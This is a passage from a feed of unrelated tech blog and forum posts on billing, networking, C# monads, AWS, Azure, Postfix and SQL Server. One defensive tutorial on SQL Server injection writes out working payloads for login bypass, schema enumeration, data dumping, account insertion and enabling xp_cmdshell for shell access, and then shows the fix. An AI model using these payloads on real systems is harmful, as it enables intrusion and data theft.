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• How to bill a client for frequently-interrupted time

  - by Greg

  I find that when I'm working on hourly-billable projects (in particular, those that are research/design/architecture-oriented as opposed to straight coding) that I'm easily distracted by any number of things (email, grab a drink (loss of focus, but nature happens), link off the webpage I was reading, wandering mind (easy when the job calls for a lot of thinking), etc.) This results in very fragmented time, far too incremental IMO to accurately track with a timeclock, and some time very gray. I frequently end up billing for only some fraction of the elapsed time I spent in order to feel fair, but sometimes it takes a really long time to put in an 8-hour day. By contrast, when I've worked for salary I've not worried about whether I'm actively working at any given minute, I just get the job done, and I've never had anything but stellar reviews/feedback from past salaried employers, so I think I get the job done well. I personally believe in an 80/20 cycle: I get 80% of my work done during an inspired 20% of my time. But I have to screw around the other 80% of the time in order to get that first 20%. So the question: what billing/time-tracking policy can I adopt in order to be fair to my hourly customers without having to write off my own less-productive 80% that a salaried employer is willing to overlook in light of the complete package? Note: This question is not about how to be more productive or focused. It's about how to work around whatever salient limitations that I have in a way that's both fair to me and to my customers. Update: A little clarification (to pre-emptively stop some righteous indignation): I currently have a half dozen different project/client groups. It's not a great situation and I'm working at reducing it down to two, but that's my current reality. It's very easy to get off on a thread related to a different project than the one I'm clocking, and I'm not always conscious of it at the time. [I did not intend the question to mean that I was off playing games or making personal calls, etc., and have adjusted wording above to be clearer. Most of the time. I am only human, and sometimes the mind does force you to take a break! :-)]

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• Pfsense: Inbound Load Balancing https with sticky connection

  - by Zeux

  first of all I'm very sorry for my English... This is my scenario: Internet Firewall+LB: pfsense_1(Active) + pfsense_2(Passive) in CARP Pool servers: 3 x nginx(PHP5+HTTP+HTTPS) Pfsense 1 and 2 CARP configured with Virtual IP (pubblic). Nginx servers's ips are all private. I want to load balance inbound HTTP and HTTPS connections between the 3 nginx web servers. An importat thing is that the HTTPS connections must be "sticky connections": in HTTPS connections, after login by username and password, I setup a php session and therefore when a client starts a HTTPS connection it will be always redirected to the same nginx server, until it disconnects itself, it closes the page/browser or after a timeout (30minutes?) without activity. Is this possible whit the last release(2.0.1) of pfsense? thank you very much...

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• How I understood monads, part 1/2: sleepless and self-loathing in Seattle

  - by Bertrand Le Roy

  For some time now, I had been noticing some interest for monads, mostly in the form of unintelligible (to me) blog posts and comments saying “oh, yeah, that’s a monad” about random stuff as if it were absolutely obvious and if I didn’t know what they were talking about, I was probably an uneducated idiot, ignorant about the simplest and most fundamental concepts of functional programming. Fair enough, I am pretty much exactly that. Being the kind of guy who can spend eight years in college just to understand a few interesting concepts about the universe, I had to check it out and try to understand monads so that I too can say “oh, yeah, that’s a monad”. Man, was I hit hard in the face with the limitations of my own abstract thinking abilities. All the articles I could find about the subject seemed to be vaguely understandable at first but very quickly overloaded the very few concept slots I have available in my brain. They also seemed to be consistently using arcane notation that I was entirely unfamiliar with. It finally all clicked together one Friday afternoon during the team’s beer symposium when Louis was patient enough to break it down for me in a language I could understand (C#). I don’t know if being intoxicated helped. Feel free to read this with or without a drink in hand. So here it is in a nutshell: a monad allows you to manipulate stuff in interesting ways. Oh, OK, you might say. Yeah. Exactly. Let’s start with a trivial case: public static class Trivial { public static TResult Execute<T, TResult>( this T argument, Func<T, TResult> operation) { return operation(argument); } } This is not a monad. I removed most concepts here to start with something very simple. There is only one concept here: the idea of executing an operation on an object. This is of course trivial and it would actually be simpler to just apply that operation directly on the object. But please bear with me, this is our first baby step. Here’s how you use that thing: "some string" .Execute(s => s + " processed by trivial proto-monad.") .Execute(s => s + " And it's chainable!"); What we’re doing here is analogous to having an assembly chain in a factory: you can feed it raw material (the string here) and a number of machines that each implement a step in the manufacturing process and you can start building stuff. The Trivial class here represents the empty assembly chain, the conveyor belt if you will, but it doesn’t care what kind of raw material gets in, what gets out or what each machine is doing. It is pure process. A real monad will need a couple of additional concepts. Let’s say the conveyor belt needs the material to be processed to be contained in standardized boxes, just so that it can safely and efficiently be transported from machine to machine or so that tracking information can be attached to it. Each machine knows how to treat raw material or partly processed material, but it doesn’t know how to treat the boxes so the conveyor belt will have to extract the material from the box before feeding it into each machine, and it will have to box it back afterwards. This conveyor belt with boxes is essentially what a monad is. It has one method to box stuff, one to extract stuff from its box and one to feed stuff into a machine. So let’s reformulate the previous example but this time with the boxes, which will do nothing for the moment except containing stuff. public class Identity<T> { public Identity(T value) { Value = value; } public T Value { get; private set;} public static Identity<T> Unit(T value) { return new Identity<T>(value); } public static Identity<U> Bind<U>( Identity<T> argument, Func<T, Identity<U>> operation) { return operation(argument.Value); } } Now this is a true to the definition Monad, including the weird naming of the methods. It is the simplest monad, called the identity monad and of course it does nothing useful. Here’s how you use it: Identity<string>.Bind( Identity<string>.Unit("some string"), s => Identity<string>.Unit( s + " was processed by identity monad.")).Value That of course is seriously ugly. Note that the operation is responsible for re-boxing its result. That is a part of strict monads that I don’t quite get and I’ll take the liberty to lift that strange constraint in the next examples. To make this more readable and easier to use, let’s build a few extension methods: public static class IdentityExtensions { public static Identity<T> ToIdentity<T>(this T value) { return new Identity<T>(value); } public static Identity<U> Bind<T, U>( this Identity<T> argument, Func<T, U> operation) { return operation(argument.Value).ToIdentity(); } } With those, we can rewrite our code as follows: "some string".ToIdentity() .Bind(s => s + " was processed by monad extensions.") .Bind(s => s + " And it's chainable...") .Value; This is considerably simpler but still retains the qualities of a monad. But it is still pointless. Let’s look at a more useful example, the state monad, which is basically a monad where the boxes have a label. It’s useful to perform operations on arbitrary objects that have been enriched with an attached state object. public class Stateful<TValue, TState> { public Stateful(TValue value, TState state) { Value = value; State = state; } public TValue Value { get; private set; } public TState State { get; set; } } public static class StateExtensions { public static Stateful<TValue, TState> ToStateful<TValue, TState>( this TValue value, TState state) { return new Stateful<TValue, TState>(value, state); } public static Stateful<TResult, TState> Execute<TValue, TState, TResult>( this Stateful<TValue, TState> argument, Func<TValue, TResult> operation) { return operation(argument.Value) .ToStateful(argument.State); } } You can get a stateful version of any object by calling the ToStateful extension method, passing the state object in. You can then execute ordinary operations on the values while retaining the state: var statefulInt = 3.ToStateful("This is the state"); var processedStatefulInt = statefulInt .Execute(i => ++i) .Execute(i => i * 10) .Execute(i => i + 2); Console.WriteLine("Value: {0}; state: {1}", processedStatefulInt.Value, processedStatefulInt.State); This monad differs from the identity by enriching the boxes. There is another way to give value to the monad, which is to enrich the processing. An example of that is the writer monad, which can be typically used to log the operations that are being performed by the monad. Of course, the richest monads enrich both the boxes and the processing. That’s all for today. I hope with this you won’t have to go through the same process that I did to understand monads and that you haven’t gone into concept overload like I did. Next time, we’ll examine some examples that you already know but we will shine the monadic light, hopefully illuminating them in a whole new way. Realizing that this pattern is actually in many places but mostly unnoticed is what will enable the truly casual “oh, yes, that’s a monad” comments. Here’s the code for this article: http://weblogs.asp.net/blogs/bleroy/Samples/Monads.zip The Wikipedia article on monads: http://en.wikipedia.org/wiki/Monads_in_functional_programming This article was invaluable for me in understanding how to express the canonical monads in C# (interesting Linq stuff in there): http://blogs.msdn.com/b/wesdyer/archive/2008/01/11/the-marvels-of-monads.aspx

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• Fail rate of EBS snapshots and AMIs?

  - by user784637

  According to Amazon the fail rate of EBS volumes is: As an example, volumes that operate with 20 GB or less of modified data since their most recent Amazon EBS snapshot can expect an annual failure rate (AFR) of between 0.1% – 0.5%, where failure refers to a complete loss of the volume http://aws.amazon.com/ebs/ However, I was curious to know the fail rate of EBS snapshots and private AMIs that a system admin would take. Since the EBS snapshots and AMIs are stored in Amazon s3, is it safe to assume that the likelihood you cannot rollback to a previous snapshot or AMI the same likelihood that a file gets lost in s3? Amazon S3’s standard storage is: ... Designed to provide 99.999999999% durability and 99.99% availability of objects over a given year. http://aws.amazon.com/s3/

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• Stir Trek: Thor Edition Registration Opens March 17th

  - by Brian Jackett

  Registration for Stir Trek: Thor Edition opens at 12:00am “Thors"day March 17th.  Stir Trek is now in its third year and this is the second year I’ve helped with planning.  For those unfamiliar the Stir Trek conference here is the description from the website. Stir Trek is an opportunity to learn about the newest advances and latest trends in Web and Mobile development. There will be 30 Sessions in six tracks, so you can pick the content that interests you the most. And the best part? At the end of the day you will be treated to a private screening of Thor on its opening day!     Last year Stir Trek: Iron Man Edition sold out well before the conference and had a long waitlist.  Based on CodeMash selling out in just 3.5 days earlier this year I highly recommend you register early.  We also have a star studded list of speakers ranging from international experts to local leaders.  This will be the best $35 you spend all year.   Easter Egg:  I originally had an idea that we should start selling tickets at 1:30am rather than 12:00am.  If you can figure out why I proposed 1:30am leave a comment below.  Any good sleuths will find this riddle elementary.         -Frog Out

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• OpenVPN vs. IPSec - Pros and Cons, what to use?

  - by jens

  interestingly I have not found any good searchresults when searching for "OpenVPN vs IPSec": I need to setup a private LAN over an untrusted network. And as far as I know, both approaces seem to be valid. But I do not know which one is better. I would be very thankfull If you can list the pro's and con's of both approaches and maybe your suggestions and experiences what to use. Update (Regarding the comment/question): In my concrete case the goal is to have any number of Servers (with static IPs) be connected transparently with each other. But a small portion of "dynamic clients like road warriors" (with dynamic IPs) should also be able to connect. The main goal is however having a "transparent secure network" run top of untrusted network. I am quite a newbie so I do not know how to correctly interprete "1:1 Point to Point Connections" = The solution should support Broadcasts and all that stuff so it is a fully functional network... Thank you very much!! Jens

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• Deploying Socket.IO App to Windows Azure Web Site with Azure CLI

  - by shiju

  In this blog post, I will demonstrate how to deploy Socket.IO app to Windows Azure Website using Windows Azure Cross-Platform Command-Line Interface, which leverages the Windows Azure Website’s new support for Web Sockets. Recently Windows Azure has announced lot of enhancements including the support for Web Sockets in Windows Azure Websites, which lets the Node.js developers deploy Socket.IO apps to Windows Azure Websites. In this blog post, I am using  Windows Azure CLI for create and deploy Windows Azure Website. Install  Windows Azure CLI The Windows Azure CLI available as a NPM module so that you can install Windows Azure CLI using  NPM as shown in the below command. After installing the azure-cli, just enter the command “azure” which will show the useful commands provided by Azure CLI. Import Windows Azure Subscription Account In order to import our Azure subscription account, we need to download the Windows Azure subscription profile. The Azure CLI command “account download” lets you download the  Windows Azure subscription profile as shown in the below command. The command redirect you login to Windows Azure portal and allow you to download the Windows Azure publish settings file. The account import command lets you import the downloaded publish settings file so that you can create and manage Websites, Cloud Services, Virtual Machines and Mobile Services in Windows Azure. Create Windows Azure Website and Enable Web Sockets In this post, we are going to deploy Socket.IO app to Windows Azure Website by using the Web Socket support provided by Windows Azure. Let’s create a Website named “socketiochatapp” using the Azure CLI. The above command will create a Windows Azure Website that will also initialize a Git repository with a remote named Azure. We can see the newly created Website from Azure portal. By default, the Web Sockets will be disabled. So let’s enable it by navigating to the Configure tab of the Website, and select “ON” in Web Sockets option and save the configuration changes. Deploy a Node.js Socket.IO App to Windows Azure Now, our Windows Azure Website supports Web Sockets so that we can easily deploy Socket.IO app to Windows Azure Website. Let’s add Node.js chat app which leverages Socket.IO module. Please note that you have to add npm module dependencies in the package.json file so that Windows Azure can install the dependencies when deploying the app. Let’s add the Node.js app and add the files to git repository. Let’s commit the changes to git repository. We have committed the changes to git local repository. Let’s push the changes to Windows Azure production environment. The successful deployment can see from the Windows Azure portal by navigating to the deployments tab of the selected Windows Azure Website. The screen shot below shows that our chat app is running successfully.   You can follow me on Twitter @shijucv

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• Postfix virtual_alias stealing emails from virutal_mailbox

  - by drewag

  I am trying to setup a "catchall" address. In my virtual_mailbox table I have emails setup like so: select * from virtual_users; id | domain_id | password | email ----+-----------+---------------------------------------------- 3 | 1 | ***************** | [email protected] 4 | 1 | ***************** | [email protected] That works great on its own. When I try to add a virtual alias for the catchall: select * from virtual_aliases; id | domain_id | source | destination ----+-----------+-------------------+--------------------------- 1 | 1 | @domain.com | [email protected] Once I add that virtual_alias, all email is going to catchall and I can send any to [email protected]. Is there something I need to do to shift around the priority? This is what I am getting in my postfix logs: Oct 20 23:24:26 localhost postfix/qmgr[8002]: C23A711DF9: from=<[email protected]>, size=1712, nrcpt=1 (queue active) Oct 20 23:24:26 localhost postfix/lmtp[8148]: C23A711DF9: to=<[email protected]>, orig_to=<[email protected]>, relay=domain.com[private/dovecot-lmtp], delay=0.42, delays=0.4/0.01/0.01/0.01, dsn=2.0.0, status=sent (250 2.0.0 <[email protected]> 8V9DA4q6ZFLVHwAA0J78UA Saved) Oct 20 23:24:26 localhost postfix/qmgr[8002]: C23A711DF9: removed

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• SQL SERVER – FIX: ERROR Msg 5169, Level 16: FILEGROWTH cannot be greater than MAXSIZE for file

  - by pinaldave

  I am writing this blog post right after I resolve this error for one of the system. Recently one of the my friend who is expert in infrastructure as well private cloud was working on SQL Server installation. Please note he is seriously expert in what he does but he has never worked SQL Server before and have absolutely no experience with its installation. He was modifying database file and keep on getting following error. As soon as he saw me he asked me where is the maxfile size setting so he can change. Let us quickly re-create the scenario he was facing. Error Message: Msg 5169, Level 16, State 1, Line 1 FILEGROWTH cannot be greater than MAXSIZE for file ‘NewDB’. Creating Scenario: CREATE DATABASE [NewDB] ON PRIMARY (NAME = N'NewDB', FILENAME = N'D:\NewDB.mdf' , SIZE = 4096KB, FILEGROWTH = 1024KB, MAXSIZE = 4096KB) LOG ON (NAME = N'NewDB_log', FILENAME = N'D:\NewDB_log.ldf', SIZE = 1024KB, FILEGROWTH = 10%) GO Now let us see what exact command was creating error for him. USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024MB ) GO Workaround / Fix / Solution: The reason for the error is very simple. He was trying to modify the filegrowth to much higher value than the maximum file size specified for the database. There are two way we can fix it. Method 1: Reduces the filegrowth to lower value than maxsize of file USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024KB ) GO Method 2: Increase maxsize of file so it is greater than new filegrowth USE [master] GO ALTER DATABASE [NewDB] MODIFY FILE ( NAME = N'NewDB', FILEGROWTH = 1024MB, MAXSIZE = 4096MB) GO I think this blog post will help everybody who is facing similar issues. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Error Messages, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Tunlr Gives Non-US Residents Access to Hulu, Netflix, and More

  - by Jason Fitzpatrick

  If you’re outside the US market and looking to enjoy US streaming services like Hulu, Netflix, and more, Tunlr is a free and simple service that will get you connected. Unlike other tools that are more expensive (both in price and in hardware/bandwidth overhead) like VPN services, Tunlr doesn’t set up a full tunnel but instead serves as an alternative DNS server that allows you to access previously blocked content. From the Tunlr FAQ: Tunlr does not provide a virtual private network (VPN). Tunlr is a DNS (domain name system) unblocking service. We’re using sophisticated technologies (a.k.a. the Tunlr Secret Sauce ©) to re-adress certain data envelopes, tricking the receiver into thinking the envelope originated from within the U.S. For these data envelopes, Tunlr is transparently creating a network tunnel from your location to our U.S.-based servers. Any data that’s not directly related to the video or music content providers which Tunlr supports is not only left untouched, it’s also not even routed through Tunlr. Hit up the link below for more information about the service, including how to set it up on various operating systems, portable devices, and gaming consoles. Tunlr [via gHacks] HTG Explains: Why You Only Have to Wipe a Disk Once to Erase It HTG Explains: Learn How Websites Are Tracking You Online Here’s How to Download Windows 8 Release Preview Right Now

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• LINQ: Enhancing Distinct With The PredicateEqualityComparer

  - by Paulo Morgado

  Today I was writing a LINQ query and I needed to select distinct values based on a comparison criteria. Fortunately, LINQ’s Distinct method allows an equality comparer to be supplied, but, unfortunately, sometimes, this means having to write custom equality comparer. Because I was going to need more than one equality comparer for this set of tools I was building, I decided to build a generic equality comparer that would just take a custom predicate. Something like this: public class PredicateEqualityComparer<T> : EqualityComparer<T> { private Func<T, T, bool> predicate; public PredicateEqualityComparer(Func<T, T, bool> predicate) : base() { this.predicate = predicate; } public override bool Equals(T x, T y) { if (x != null) { return ((y != null) && this.predicate(x, y)); } if (y != null) { return false; } return true; } public override int GetHashCode(T obj) { if (obj == null) { return 0; } return obj.GetHashCode(); } } Now I can write code like this: .Distinct(new PredicateEqualityComparer<Item>((x, y) => x.Field == y.Field)) But I felt that I’d lost all conciseness and expressiveness of LINQ and it doesn’t support anonymous types. So I came up with another Distinct extension method: public static IEnumerable<TSource> Distinct<TSource>(this IEnumerable<TSource> source, Func<TSource, TSource, bool> predicate) { return source.Distinct(new PredicateEqualityComparer<TSource>(predicate)); } And the query is now written like this: .Distinct((x, y) => x.Field == y.Field) Looks a lot better, doesn’t it?

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• httpd keeps crashing without any reference to why in the logs

  - by Fred

  I have the logs set to debug in the hopes of tracking down what's causing the crash, but I can't find anything. Here is the error_log. [Thu Jan 06 10:27:35 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 19999 for (*) [Thu Jan 06 14:47:04 2011] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec) [Thu Jan 06 14:47:04 2011] [info] Init: Seeding PRNG with 256 bytes of entropy [Thu Jan 06 14:47:04 2011] [info] Init: Generating temporary RSA private keys (512/1024 bits) [Thu Jan 06 14:47:04 2011] [info] Init: Generating temporary DH parameters (512/1024 bits) [Thu Jan 06 14:47:04 2011] [info] Init: Initializing (virtual) servers for SSL [Thu Jan 06 14:47:04 2011] [info] Server: Apache/2.2.3, Interface: mod_ssl/2.2.3, Library: OpenSSL/0.9.8e-fips-rhel5 [Thu Jan 06 14:47:04 2011] [notice] Digest: generating secret for digest authentication ... [Thu Jan 06 14:47:04 2011] [notice] Digest: done [Thu Jan 06 14:47:04 2011] [debug] util_ldap.c(2021): LDAP merging Shared Cache conf: shm=0xb9dc2480 rmm=0xb9dc24b0 for VHOST: server.fredfinn.com [Thu Jan 06 14:47:04 2011] [info] APR LDAP: Built with OpenLDAP LDAP SDK [Thu Jan 06 14:47:04 2011] [info] LDAP: SSL support available [Thu Jan 06 14:47:05 2011] [info] Init: Seeding PRNG with 256 bytes of entropy [Thu Jan 06 14:47:05 2011] [info] Init: Generating temporary RSA private keys (512/1024 bits) [Thu Jan 06 14:47:05 2011] [info] Init: Generating temporary DH parameters (512/1024 bits) [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(374): shmcb_init allocated 512000 bytes of shared memory [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(554): entered shmcb_init_memory() [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(576): for 512000 bytes, recommending 4266 indexes [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(619): shmcb_init_memory choices follow [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(621): division_mask = 0x1F [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(623): division_offset = 64 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(625): division_size = 15998 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(627): queue_size = 1604 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(629): index_num = 133 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(631): index_offset = 8 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(633): index_size = 12 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(635): cache_data_offset = 8 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(637): cache_data_size = 14386 [Thu Jan 06 14:47:05 2011] [debug] ssl_scache_shmcb.c(650): leaving shmcb_init_memory() [Thu Jan 06 14:47:05 2011] [info] Shared memory session cache initialised [Thu Jan 06 14:47:05 2011] [info] Init: Initializing (virtual) servers for SSL [Thu Jan 06 14:47:05 2011] [info] Server: Apache/2.2.3, Interface: mod_ssl/2.2.3, Library: OpenSSL/0.9.8e-fips-rhel5 [Thu Jan 06 14:47:05 2011] [warn] pid file /etc/httpd/run/httpd.pid overwritten -- Unclean shutdown of previous Apache run? [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26527 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 26527 for (*) [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 26528 for worker proxy:reverse [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized [Thu Jan 06 14:47:05 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in 